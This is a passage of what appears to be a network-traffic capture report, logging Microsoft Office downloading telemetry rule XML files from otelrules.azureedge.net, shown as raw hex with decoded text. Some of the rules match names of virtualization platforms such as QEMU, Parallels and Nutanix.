30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:22 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011422Z-174c587ffdfdwxdvhC1TEB1c4n00000003hg00000000pu4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:22 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 91947494-701e-0001-6f67-3db110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011422Z-15b8b599d886w4hzhC1TEBb4ug00000003r000000000g8ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:23 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011423Z-178bfbc474bgvl54hC1NYCsfuw000000055000000000gm3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:24 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:24 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cf2b2526-c01e-0082-5660-3baf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011424Z-178bfbc474bp8mkvhC1NYCzqnn000000056g00000000110f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:24 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:24 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:24 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 9434b372-401e-002a-4f0b-3dc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011424Z-178bfbc474btvfdfhC1NYCa2en00000005a000000000bptx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:25 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:24 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:25 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011425Z-15b8b599d88hd9g7hC1TEBp75c00000003p000000000dzm6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:25 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:24 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011425Z-174c587ffdf8fcgwhC1TEBnn7000000003z0000000002a8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:25 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:25 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011425Z-174c587ffdfks6tlhC1TEBeza400000003vg000000005feq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:25 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:26 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 0ecd932e-001e-0066-5d4b-3c561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011426Z-15b8b599d88phfhnhC1TEBr51n00000003u000000000d0ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:26 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: d8899c23-b01e-003e-234e-3c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011427Z-15b8b599d88f9wfchC1TEBm2kc00000003wg000000006qam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:27 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011427Z-174c587ffdfks6tlhC1TEBeza400000003ug00000000814r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:27 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:27 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 9479b36f-f01e-0020-340e-3e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011427Z-178bfbc474bpnd5vhC1NYC4vr400000005b0000000002u70 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
